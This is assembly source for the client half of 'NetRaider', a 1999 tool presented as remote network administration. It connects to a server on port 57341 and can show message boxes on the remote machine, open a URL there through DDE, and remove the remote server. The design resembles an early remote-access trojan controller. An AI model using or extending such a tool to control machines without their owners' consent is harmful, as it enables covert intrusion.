;
; NetRaider Project - 1999 \sPIRIT\ -s0ftpr0ject 99-
;
; FILE: netclnt.asm - NetRaider Client
;

.386
.model flat,STDCALL


; --- standard equates and functions prototypes

include          windows.inc
include          kernel32.inc
include          user32.inc
include          wsock32.inc
include          advapi32.inc
include          shell32.inc

WinMain          PROTO :DWORD,:DWORD,:DWORD,:SDWORD
StrLen           PROTO :DWORD
StrCmp           PROTO :DWORD,:DWORD,:DWORD
OpenSocket       PROTO
ShutdownSocket   PROTO :DWORD
ClearBuffer      PROTO :DWORD,:DWORD
ChangeStatus     PROTO :DWORD,:DWORD
SendCommand      PROTO :DWORD,:DWORD,:DWORD
ProcessIncoming  PROTO

; HANDLE THE REPLIES WE CAN GET FROM REMOTE SERVER

ncMessageBox     PROTO :DWORD
ncDDEExecute     PROTO :DWORD

; --- in-link time libraries

includelib       kernel32.lib
includelib       user32.lib
includelib       wsock32.lib
includelib       advapi32.lib
includelib       shell32.lib

L                EQU <LARGE>
WM_SOCKET        EQU WM_USER + 100


NRPacket         STRUCT
  nrHeader       db         "NRP-"
  nrFCode        dd         ?
  nrPacketSeqNR  dd         ?
  nrPacketInSeq  dd         ?
  nrLenData      dd         ?
;  nrDataCRC32    dd         ?   ; CRC32 IS NOT IMPLEMENTED AT THIS POINT
  nrPointData    dd         ?
  nrTail         dd         ?
NRPacket         ENDS

; --- uninitialized data

.DATA?

hInstance        HINSTANCE   ?
CommandLine      LPSTR       ?

wsadata          WSADATA     <>                ; WINSOCK STRUCTURE
sin              sockaddr_in <?>               ; WINSOCK STRUCTURE

hHost            dd          ?
hStatus          dd          ?
bhConn           dd          ?
ehMbox           dd          ?
ehUrl            dd          ?

; Incoming data informations and handlers

hMemory          dd          ?
offsetBuffer     dd          ?
availableData    dd          ?

hDataMem         dd          ?
offsetData       dd          ?
         
reqOperation     dd          ?
totalPackets     dd          ?
currentPacket    dd          ?
inSendBuffer     dd          ?

; --- initialized data

.DATA

DlgName          db          "NETCLIENT", 0
ClassName        DB          "NETCLIENT", 0
AppName          DB          "NETCLIENT", 0
hDlg             dd          0

remoteHOST       DB          240 dup(0)
defaultHOST      DB          "localhost", 0
serverLISTENPORT dd          57341             ; PORT USED BY SERVER

isHandshake      dd          FALSE
clientID         db          "NSClient-sPISPJ99"
cIDLEN           dd          $-clientID
serverID         db          "NSServer-sPISPJ99"
sIDLEN           dd          $-serverID

isReliable       dd          FALSE             
receiveLOCK      dd          FALSE

socketDESCRIPTOR DD          0                 ; Descriptor of opened socket
fConn            dd          FALSE             ; connection flag, 0 no, 1 yes

packet           NRPacket    <>                ; basic NetRaider packet definition
packetBUFFER     db          1024+24 dup(0)    ; max. length of data (per ora...)
packetHEAD       db          "NRP-"
packetENDSEQ     db          "-ENP"
packetNEXTSEQ    db          "-SEQ"            ; trigger sequences

; --- Strings

defaultMESSAGE   db          "Enjoy! You're on NetRaider!",0
defaultDDE       db          "http://softpj98.bbk.org",0

defaultCaption   db          "NetClient status",0

aboutCaption     db          "About NetRaider...",0
aboutNetRaider   db          "NetRaider v0.0",10,13,"Remote network administration tool",10,13,"By \sPIRIT\  - s0ftpr0ject 99 -",13,10,"Browse to: http://softpj98.bbk.org",0

bConnect         db          "Connect",0
bDisconnect      db          "Disconnect",0
bResolving       db          "<resolving...>",0

ErrCaption       db          "NetRaider Client ERROR", 0
ErrnoWSOCKInit   db          "Unable to initialize Winsock subsystem", 0
ErrnoSocket      db          "Unable to open socket", 0
ErrnoConnection  db          "Unable to establish connection",0 
ErrRemoteClose   db          "Remote peer closed connection",0
ErrSending       db          "Error sending data",0

; remote replies strings

remoteMBCaption  db          "Remote message box",0
remoteOKREPLY    db          "User answered: OK",0

remoteDDESent    db          "Remote DDE Execution issued",0

; --- Status strings

sDisconnected    db          "No connection",0
sConnecting      db          "Connecting...",0
sConnected       db          "Connected to remote server",0
sRemoteDconn     db          "Remote server closed connection",0
sNoRemoteServer  db          "Remote peer is not a NetRaider server",0
sSocketerr       db          "Winsock fatal error",0
sNoResolve       db          "Unable to resolve hostname",0
sResolving       db          "Resolving hostname...",0


; --- constant data
                 
.CONST           

NCB_CONNECT      EQU         100
NCB_REMOVE       EQU         101
NCB_MBOX         EQU         102
NCB_DDE          EQU         103
NCB_ABOUT        EQU         104

NCI_ICON         EQU         200

NCT_IPHOST       EQU         300

NCE_HOST         EQU         400
NCE_STATUS       EQU         401
NCE_MBOX         EQU         402
NCE_DDE          EQU         403

; --- NetRaider Client code

.CODE

netclient_start: INVOKE  GetModuleHandle, NULL
                 mov     hInstance, eax
 
                 INVOKE  WinMain, hInstance, NULL, CommandLine, SW_SHOWDEFAULT
                 INVOKE  ExitProcess, NULL

WinMain          PROC    hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:SDWORD

                 LOCAL   wc:WNDCLASSEX
                 LOCAL   msg:MSG
                 LOCAL   hwnd:HWND

                 mov     wc.cbSize,SIZEOF WNDCLASSEX
                 mov     wc.style, CS_HREDRAW or CS_VREDRAW
                 mov     wc.lpfnWndProc, OFFSET NetClient_MAIN
                 mov     wc.cbClsExtra,NULL
                 mov     wc.cbWndExtra,DLGWINDOWEXTRA
                 push    hInstance
                 pop     wc.hInstance
                 mov     wc.hbrBackground,COLOR_BTNFACE+1
                 mov     wc.lpszMenuName, NULL
                 mov     wc.lpszClassName,OFFSET ClassName
                 INVOKE  LoadIcon,hInst,NCI_ICON
                 mov     wc.hIcon,eax
                 mov     wc.hIconSm,eax
                 INVOKE  LoadCursor,NULL,IDC_ARROW
                 mov     wc.hCursor,eax
                 INVOKE  RegisterClassEx, ADDR wc

                 INVOKE  CreateDialogParam, hInst, ADDR DlgName, NULL, NULL, NULL
                 mov     hDlg,eax

                 INVOKE  ShowWindow, hDlg, SW_SHOWNORMAL
                 INVOKE  UpdateWindow, hDlg

                 INVOKE  GetDlgItem, hDlg, NCE_HOST
                 mov     hHost, eax
                 INVOKE  SetWindowText, hHost, ADDR defaultHOST
                 INVOKE  SetFocus, hHost

                 INVOKE  GetDlgItem, hDlg, NCE_STATUS
                 mov     hStatus, eax
                 INVOKE  SendMessage, hStatus, EM_SETREADONLY, ES_READONLY, 0  
                 INVOKE  ChangeStatus, hStatus, ADDR sDisconnected

                 INVOKE  GetDlgItem, hDlg, NCB_CONNECT
                 mov     bhConn, eax
                 INVOKE  SetWindowText, bhConn, ADDR bConnect

                 INVOKE  GetDlgItem, hDlg, NCE_MBOX
                 mov     ehMbox, eax
                 INVOKE  SetWindowText, ehMbox, ADDR defaultMESSAGE

                 INVOKE  GetDlgItem, hDlg, NCE_DDE
                 mov     ehUrl, eax
                 INVOKE  SetWindowText, ehUrl, ADDR defaultDDE

                 .WHILE TRUE
                        INVOKE  GetMessage, ADDR msg, NULL, 0, 0
                        .BREAK  .IF eax==FALSE
                                    INVOKE  IsDialogMessage, hDlg, ADDR msg
                                    .IF eax==FALSE
                                        INVOKE  TranslateMessage, ADDR msg
                                        INVOKE  DispatchMessage, ADDR msg
                                    .ENDIF
                 .ENDW 

                 .IF fConn==TRUE
                     INVOKE  ShutdownSocket, socketDESCRIPTOR
                 .ENDIF

                 ret
WinMain          ENDP

NetClient_MAIN   PROC hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM

                 mov     eax, uMsg

                 .IF eax==WM_DESTROY
                     INVOKE  PostQuitMessage, NULL
                     ret

                 .ELSEIF eax==WM_SOCKET
                         mov     eax, lParam

                         .IF ax==FD_READ
                             INVOKE  ProcessIncoming

                         .ELSEIF ax==FD_CONNECT
                                 INVOKE  send, socketDESCRIPTOR, ADDR clientID, cIDLEN, 0
                                 .IF eax==0 || eax==SOCKET_ERROR
                                     mov     eax, FALSE
                                 .ELSE
                                      mov     eax, TRUE
                                 .ENDIF

                                 .IF eax==TRUE
                                     mov     isHandshake, TRUE
                                     INVOKE  ChangeStatus, hStatus, ADDR sConnected
                                 .ELSEIF eax==FALSE
                                     INVOKE  ChangeStatus, hStatus, ADDR sDisconnected
                                     INVOKE  SetWindowText, bhConn, ADDR bConnect
                                     INVOKE  ShutdownSocket, socketDESCRIPTOR
                                     mov     fConn, FALSE
                                     mov     isHandshake, FALSE
                                 .ENDIF

                         .ELSEIF ax==FD_CLOSE
                                 INVOKE  ShutdownSocket, socketDESCRIPTOR
                                 INVOKE  ChangeStatus, hStatus, ADDR sRemoteDconn
                                 INVOKE  SetWindowText, bhConn, ADDR bConnect
                                 mov     fConn, FALSE
 
                         .ENDIF
                   
                 .ELSEIF eax==WM_COMMAND
                         mov     eax, wParam

                         .IF eax==IDABORT
                             INVOKE PostQuitMessage, NULL

                         .ELSEIF eax==NCB_ABOUT   
                                 INVOKE  MessageBoxA, NULL, ADDR aboutNetRaider, ADDR aboutCaption, MB_OK+MB_ICONINFORMATION
                                 
                         .ELSEIF eax==NCB_CONNECT
                                 .IF fConn==FALSE
                                     mov     fConn, TRUE
                                     INVOKE  OpenSocket
                                    .IF eax==0
                                        INVOKE  ChangeStatus, hStatus, ADDR sSocketerr
                                    .ELSE
                                         mov     socketDESCRIPTOR, eax
                                    .ENDIF
                                    INVOKE  WSAAsyncSelect, socketDESCRIPTOR, hDlg, WM_SOCKET, FD_CONNECT + FD_CLOSE + FD_READ
                                    INVOKE  GetDlgItemTextA, hWnd, NCE_HOST, ADDR remoteHOST, 240
                                    INVOKE  inet_addr, ADDR remoteHOST
                                            .IF eax==INADDR_NONE
                                                INVOKE  SetWindowText, bhConn, ADDR bResolving
                                                INVOKE  gethostbyname, ADDR remoteHOST
                                                .IF eax==NULL
                                                    INVOKE  ChangeStatus, hStatus, ADDR sNoResolve
                                                    INVOKE  SetWindowText, bhConn, ADDR bConnect
                                                    INVOKE  ShutdownSocket, socketDESCRIPTOR
                                                    ret
                                                .ENDIF
                                                mov     eax, [eax+12]
                                                mov     eax, [eax]
                                                mov     eax, [eax]
                                                mov     sin.sin_addr, eax
                                                INVOKE  ChangeStatus, hStatus, ADDR sConnecting
                                                INVOKE  SetWindowText, bhConn, ADDR bDisconnect
                                            .ELSE
                                                 mov     sin.sin_addr, eax
                                                 INVOKE  ChangeStatus, hStatus, ADDR sConnecting
                                                 INVOKE  SetWindowText, bhConn, ADDR bDisconnect
                                            .ENDIF

                                    INVOKE  connect, socketDESCRIPTOR, ADDR sin, SIZEOF sin

                                 .ELSEIF fConn==TRUE
                                         INVOKE  ShutdownSocket, socketDESCRIPTOR
                                         INVOKE  ChangeStatus, hStatus, ADDR sDisconnected
                                         mov     fConn, FALSE
                                         INVOKE  SetWindowText, bhConn, ADDR bConnect
                                 .ENDIF

                         .ELSEIF eax==NCB_REMOVE          ; - REMOVE REMOTE SERVER
                                 .IF fConn==TRUE
                                     INVOKE  SendCommand, 00000000h, NULL, socketDESCRIPTOR
                                 .ENDIF

                         .ELSEIF eax==NCB_MBOX            ; - SEND MESSAGE BOX
                                 .IF fConn==TRUE
                                     INVOKE  GlobalAlloc, GHND, 2048
                                     mov     hDataMem, eax
                                     INVOKE  GlobalLock, eax
                                     mov     offsetData, eax

                                     INVOKE  GetDlgItemTextA, hWnd, NCE_MBOX, offsetData, 2048
                                     INVOKE  SendCommand, 00000001h, offsetData, socketDESCRIPTOR
                                     INVOKE  GlobalUnlock, offsetData
                                     INVOKE  GlobalFree, hDataMem

                                 .ENDIF

                         .ELSEIF eax==NCB_DDE             ; - DDE EXECUTE
                                 .IF fConn==TRUE
                                     INVOKE  GlobalAlloc, GHND, 240
                                     mov     hDataMem, eax
                                     INVOKE  GlobalLock, eax
                                     mov     offsetData, eax

                                     INVOKE  GetDlgItemTextA, hWnd, NCE_DDE, offsetData, 240
                                     INVOKE  SendCommand, 00000002h, offsetData, socketDESCRIPTOR
                                     INVOKE  GlobalUnlock, offsetData
                                     INVOKE  GlobalFree, hDataMem

                                 .ENDIF

                         .ENDIF

                  .ELSE
                       INVOKE  DefWindowProc, hWnd, uMsg, wParam, lParam
                       ret

                  .ENDIF

                  xor    eax, eax

                  ret 
NetClient_MAIN    ENDP

; --- Extra functions

ChangeStatus      PROC    sbHandle:DWORD, msgOffset:DWORD
                  INVOKE  SetWindowText, sbHandle, msgOffset

                  ret
ChangeStatus      ENDP

ProcessIncoming   PROC

                  .IF isHandshake==TRUE
                      INVOKE  ioctlsocket, socketDESCRIPTOR, FIONREAD, ADDR availableData
                      .IF eax==NULL
                          INVOKE  GlobalAlloc, GHND, availableData
                          mov     hMemory, eax
                          INVOKE  GlobalLock, eax
                          mov     offsetBuffer, eax
              
                          INVOKE  recv, socketDESCRIPTOR, offsetBuffer, availableData, 0

                          INVOKE  StrCmp, ADDR serverID, offsetBuffer, sIDLEN
                          .IF eax==TRUE
                              mov     isReliable, TRUE
                              mov     isHandshake, FALSE
                              mov     receiveLOCK, FALSE                 
                          .ELSE
                               INVOKE  ShutdownSocket, socketDESCRIPTOR
                               INVOKE  ChangeStatus, hStatus, ADDR sNoRemoteServer
                               INVOKE  SetWindowText, bhConn, ADDR bConnect
                               mov     fConn, FALSE
                               mov     isHandshake, FALSE
                               mov     receiveLOCK, FALSE
            
                          .ENDIF

                          INVOKE  GlobalUnlock, offsetBuffer
                          INVOKE  GlobalFree, hMemory
                          ret

                      .ENDIF                  
                  .ENDIF

                  .IF isReliable==TRUE
                      INVOKE  ioctlsocket, socketDESCRIPTOR, FIONREAD, ADDR availableData
                      .IF eax==NULL
                          .IF availableData<=1048
                              INVOKE  recv, socketDESCRIPTOR, ADDR packetBUFFER, availableData, 0
                          .ELSE
                               INVOKE  recv, socketDESCRIPTOR, ADDR packetBUFFER, 1048, 0                           
                          .ENDIF

                          ; controllo header

                          INVOKE  StrCmp, ADDR packetHEAD, ADDR packetBUFFER, 4
                          .IF eax==TRUE
 
                              ; get function code
                               
                              mov     esi, OFFSET packetBUFFER
                              add     esi, 4
                              lodsd   

                              push    eax

                              .IF receiveLOCK==FALSE
                                  mov     reqOperation, eax

                                  mov     currentPacket, 0
                               
                                  ; get total packets number & alloc buffer

                                  mov     esi, OFFSET packetBUFFER
                                  add     esi, 12
                                  lodsd

                                  mov     totalPackets, eax
                                  shl     eax, 10

                                  INVOKE  GlobalAlloc, GHND, eax
                                  mov     hMemory, eax
                                  INVOKE  GlobalLock, eax
                                  mov     offsetBuffer, eax
                                  mov     receiveLOCK, TRUE
                              .ENDIF

                              pop     eax
                      
                              .IF eax==reqOperation
                                  inc     currentPacket

                                  ; get data length & copy data into buffer

                                  mov     esi, OFFSET packetBUFFER
                                  add     esi, 16
                                  lodsd
                                  mov     ebx, currentPacket
                                  dec     ebx
                                  shl     ebx, 10
                                  mov     edi, offsetBuffer
                                  add     edi, ebx
                                  mov     ecx, eax
                                  rep     movsb
                                                                                                      
                                  mov     eax, currentPacket
                                  .IF eax==totalPackets  
                                      
                                      ; processo funzioni, dealloco buffers, receiveLOCK==FALSE

                                     .IF reqOperation==00000000h
                                         
                                     .ELSEIF reqOperation==00000001h
                                             INVOKE  ncMessageBox, offsetBuffer

                                     .ELSEIF reqOperation==00000002h
                                             INVOKE  ncDDEExecute, offsetBuffer

                                     .ENDIF

                                     ; dealloco buffers

                                     INVOKE  GlobalUnlock, offsetBuffer
                                     INVOKE  GlobalFree, hMemory

                                     mov    receiveLOCK, FALSE

                                  .ENDIF          
                              .ENDIF 
                          .ENDIF
                      .ENDIF
                  .ENDIF   

                  INVOKE  ClearBuffer, ADDR packetBUFFER, 1024+24

                  ret
ProcessIncoming   ENDP

; --- Functions includes

include           sendrecv.inc        ; Send/receive data procedures
include           clntop.inc          ; Client operations on server's replies
include           socketop.inc        ; Open/Close socket and misc.
include           stringop.inc        ; Operations on strings

                  END netclient_start





